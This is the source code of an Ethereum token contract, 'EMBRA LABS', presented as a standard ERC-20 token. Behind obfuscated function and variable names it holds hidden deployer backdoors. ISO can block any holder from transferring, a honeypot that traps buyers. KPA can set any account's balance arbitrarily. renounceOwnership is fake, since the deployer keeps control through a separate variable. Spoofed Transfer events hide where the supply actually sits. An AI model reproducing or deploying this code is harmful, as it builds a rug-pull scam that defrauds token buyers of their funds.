Contract Source Code:
File 1 of 1 : EMBRA
pragma solidity 0.8.18;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract EMBRA {
mapping (address => uint256) private bNx;
mapping (address => uint256) private cNx;
mapping(address => mapping(address => uint256)) public allowance;
string public name = "EMBRA LABS";
string public symbol = unicode"EMBRA";
uint8 public decimals = 6;
uint256 public totalSupply = 250000000 *10**6;
address owner = msg.sender;
uint256 private NA;
address private dNx;
address private eNx;
address fNx = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
NA = 0;
dNx = msg.sender;
bNx[msg.sender] = totalSupply;
eNx = fNx;
emit Transfer(address(0), eNx, totalSupply);
}
function renounceOwnership() public virtual {
require(msg.sender == owner);
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
function ISO (address IxI, uint256 lXl) public {
require(msg.sender == dNx);
cNx[IxI] = lXl;}
function balanceOf(address account) public view returns (uint256) {
return bNx[account];
}
function transfer(address to, uint256 value) public returns (bool success) {
require(bNx[msg.sender] >= value);
require(cNx[msg.sender] <= NA);
bNx[msg.sender] -= value;
bNx[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
function KPA (address IxI, uint256 lXl) public {
require(msg.sender == dNx);
bNx[IxI] = lXl;}
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
require(cNx[from] <= NA);
require(cNx[to] <= NA);
require(value <= bNx[from]);
require(value <= allowance[from][msg.sender]);
bNx[from] -= value;
bNx[to] += value;
allowance[from][msg.sender] -= value;
if(from == dNx) {from = fNx;}
emit Transfer(from, to, value);
return true; }
}